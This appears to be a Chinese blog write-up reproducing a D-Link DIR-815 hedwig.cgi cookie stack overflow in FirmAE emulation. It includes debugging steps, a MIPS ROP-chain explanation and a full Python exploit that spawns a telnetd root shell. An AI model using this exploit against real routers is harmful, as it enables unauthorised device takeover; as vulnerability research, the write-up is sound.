漏洞概述
漏洞复现 仿真模拟 检测是否可用FirmAE仿真
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ❯ ./run.sh -c D-link vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin [*] vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin emulation start!!! [*] extract done !!! [*] get architecture done !!! mke2fs 1.46.5 (30-Dec-2021) /bash-static: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8) e2fsck 1.46.5 (30-Dec-2021) [*] infer network start!!! [IID] 1 [MODE] check [+] Network reachable on 192.168.0.1! [+] Web service on 192.168.0.1 [*] cleanup ======================================
使用FirmAE开启Debug模式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ./run.sh -d D-link vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin [*] vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin emulation start!!! [*] extract done !!! [*] get architecture done !!! [*] vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin already succeed emulation!!! [IID] 1 [MODE] debug [+] Network reachable on 192.168.0.1! [+] Web service on 192.168.0.1 [+] Run debug! Creating TAP device tap1_0... Set 'tap1_0' persistent and owned by uid 1000 Bringing up TAP device... Starting emulation of firmware... 192.168.0.1 true true 14.319128546 33.992168765 [*] firmware - DIR-815A1_FW101SSB03 [*] IP - 192.168.0.1 [*] connecting to netcat (192.168.0.1:31337) [+] netcat connected ------------------------------ | FirmAE Debugger | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit >
仿真成功
漏洞分析 binwalk解压
1 ❯ binwalk -Mer DIR-815A1_FW101SSB03.bin --run-as=root
定位漏洞文件
1 2 3 4 5 ❯ find . -name hedwig.cgi ./htdocs/web/hedwig.cgi /htdocs/web lrwxrwxrwx 1 root 0 14 Apr 24 2024 hedwig.cgi -> /htdocs/cgibin
hedwig.cgi
是 /htdocs/cgibin
的符号链接,所以分析cgibin
即可。
1 2 3 4 5 6 7 8 9 ❯ checksec cgibin [*] 'cnvd-2013-11625/_DIR-815A1_FW101SSB03.bin.extracted/squashfs-root/htdocs/cgibin' Arch: mips-32-little RELRO: No RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments
漏洞分析
可以使用 bindiff
来查找修复版本和此版本的差异,从而定位漏洞点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 if ( !strcmp (v3, "hedwig.cgi" ) ) { v8 = (void (__noreturn *)())&hedwigcgi_main; v9 = argc; return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp); } v0 = getenv("REQUEST_METHOD" ); if ( !v0 ) { v1 = "no REQUEST" ; LABEL_7: v3 = 0 ; v4 = 0 ; LABEL_34: v9 = -1 ; goto LABEL_25; } if ( strcasecmp(v0, "POST" ) ) { v1 = "unsupported HTTP request" ; goto LABEL_7; } cgibin_parse_request(sub_409A6C, 0 , 0x20000 ); [...] sess_get_uid(v4); if ( getenv("CONTENT_TYPE" ) && (v6 = getenv("CONTENT_LENGTH" )) != 0 ) v7 = atoi(v6); else v7 = 0 ; v21 = sobj_new(); v8 = sobj_new(); v22 = v8; v9 = -1 ; if ( v21 && v8 ) { v10 = getenv("REQUEST_URI" ); [...] sobj_del(v22); if ( v9 != -1 ) { if ( a3 >= v7 ) { if ( v7 ) { getenv("CONTENT_TYPE" ); v14 = getenv("CONTENT_TYPE" ); [...] v3 = getenv("HTTP_COOKIE" ); [...] else { v6 = 2 ; if ( v7 != '=' ) { sobj_add_char(v2, v7); v6 = 1 ; } } goto LABEL_18; } if ( v6 == 2 ) { if ( v7 == ';' ) { v6 = 3 ; goto LABEL_18; } sobj_add_char(v4, *v5++); } else { v6 = 0 ; if ( !sobj_strcmp(v2, "uid" ) ) goto LABEL_21; LABEL_18: ++v5; } } if ( !sobj_strcmp(v2, "uid" ) ) { LABEL_21: string = (char *)sobj_get_string(v4); goto LABEL_22; } LABEL_27: string = getenv("REMOTE_ADDR" ); LABEL_22: result = sobj_add_string(a1, string ); if ( v2 ) result = sobj_del(v2); if ( v4 ) return sobj_del(v4); return result; string = (const char *)sobj_get_string(v4); sprintf (v27, "%s/%s/postxml" , "/runtime/session" , string ); xmldbc_del(0 , 0 , v27); v7 = fopen("/var/tmp/temp.xml" , "w" ); if ( !v7 ) { v1 = "unable to open temp file." ; goto LABEL_34; } if ( !haystack ) { v1 = "no xml data." ; goto LABEL_34; } [...] xmldbc_read(0 , 2 , "/var/tmp/temp.xml" ); v19 = fileno(v7); lockf(v19, 0 , 0 ); fclose(v7); remove("/var/tmp/temp.xml" ); v20 = (const char *)sobj_get_string(v4); sprintf (v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s" , "/runtime/session" , v20);
动态调试 查询httpd进程号
1 2 3 / 2306 root 1560 S httpd -f /var/run/httpd.conf 15635 root 656 S grep httpd
启动 gdbserver
FirAE
选择 run gdbserver
,输入httpd
进程号。
1 2 3 [+] target pid : 2306 [+] gdbserver at 192.168.0.1:1337 attach on 2306 [+] run "target remote 192.168.0.1:1337" in host gdb-multiarch
1 2 3 4 5 6 7 8 set architecture mipsset follow-fork-mode childset detach-on-fork offtarget remote 192.168.0.1:1337 b _start c
确定溢出偏移
使用 cyclic 确定偏移。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *import http.clientconn = http.client.HTTPConnection("192.168.0.1" ) headers = { 'Content-Length' : '21' ,'accept-Encoding' : 'deflate' ,'Connection' : 'close' ,'User-Agent' : 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)' ,'Host' : '192.168.0.1' ,'Cookie' : 'uid=' +cyclic(0x500 ),'Content-Type' : 'application/x-www-form-urlencoded' } conn.request("POST" , "/hedwig.cgi" , body="password=123&bid=3Rd4" , headers=headers) response = conn.getresponse() print (response.status, response.read().decode())conn.close()
确定libc_base
记得关闭地址随机化,因为真机也不存在随机化。
编写EXP 编写shellcode
宿主机存在 telnetd
,可使用telnetd -l /bin/sh -p 10086
开启通信通道,-l
指定通信程序,-p
指定通信端口。我们的任务就变成了通过栈溢出调用 system("telnetd -l /bin/sh -p 10086");
MIPS
架构存在“流水线效应”,简单来说,就是本应该顺序执行的几条命令却同时执行了,其还存在缓存不一致性(cache incoherency
)的问题。
首先举例说说 “流水线效应” ,最常见的就是跳转指令(如jalr
)导致的分支延迟效应 ,任何一个分支跳转语句后面的那条语句叫做分支延迟槽 ,当它跳转指令填充好跳转地址,还没来得及跳转过去的时候,跳转指令的下一条指令(分支延迟槽)就已经执行了,可以认为是它会先执行跳转指令的后一条指令,然后再跳转 。
再来说说 “缓存不一致性” 的问题,指的是:指令缓存区(Instruction Cache
)和数据缓存区(Data Cache
)两者的同步需要一个时间来同步,常见的就是,比如我们将shellcode
写入栈上,此时这块区域还属于数据缓存区,如果我们此时像x86_64
架构一样,直接跳转过去执行,就会出现问题,因此,我们需要调用sleep
函数 ,先停顿一段时间,给它时间从数据缓存区转成指令缓存区,然后再跳转过去,才能成功执行。当然,有时候可能直接跳转过去也不会出错,这原因就比较多了,可能是由于两个缓冲区已经有足够时间同步,也有可能是和硬件层面有关的一些原因所导致的,但是保险来说,还是最好sleep
一下。
1 2 .text:0000AE90 .globl execve .text:00053200 # int __fastcall system(int)
而system
函数地址末尾为\x00
会被sprintf
截断,使用execve
函数需要控制其第二个和第三个参数为0。
接下来可以使用ropper
寻找控制$a0
的指令和jr/jalr
指令。
1 0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5
利用这段 gadget,控制 $sp+0x10 == argv1_addr
,$s0 == system_addr
即可。但由于 system 函数末一字节为\x00
,所以需要修改其地址保存在临时寄存器,然后找其他gadget对其进行修正。
1 0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1
这段gadget
jalr $t9
跳转的下一条指令是$s0 += 1
。
接下来可以构造shellcode
了,在$s0
传入system-1
的地址,s5传入了0x000159cc
的gadget。溢出之后,首先执行0x158c8
这段gadget,跳转到0x159cc
这段gadget的同时$s0++,变为system的地址。接着执行0x159cc
,将”argv1_addr
“传入$s5
,$s0
此时为system_addr
,jalr $t9
时也执行mov $a0, $s5
,成功执行system("telnetd -l /bin/sh -p 55557")
。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import http.clientfrom pwn import *context.arch='mips' context.bytes ='32' context.binary='./cgibin' context.endian='little' conn = http.client.HTTPConnection("192.168.0.1" ) libc_base = 0x77f34000 gadget_1 = libc_base + 0x159cc gadget_2 = libc_base + 0x158c8 system_addr_sub_1 = libc_base + 0x531ff payload = cyclic(0x3cd ) + p32(system_addr_sub_1) + p32(gadget_1)*8 + p32(gadget_2)*5 + b"telnetd -l /bin/sh -p 10086" headers = { 'Content-Length' : '21' ,'accept-Encoding' : 'deflate' ,'Connection' : 'close' ,'User-Agent' : 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)' ,'Host' : '192.168.0.1' ,'Cookie' : b'uid=' +payload,'Content-Type' : 'application/x-www-form-urlencoded' } conn.request("POST" , "/hedwig.cgi" , body="password=123&uid=3Rd4" , headers=headers) response = conn.getresponse() print (response.status, response.read().decode())conn.close()
运行结果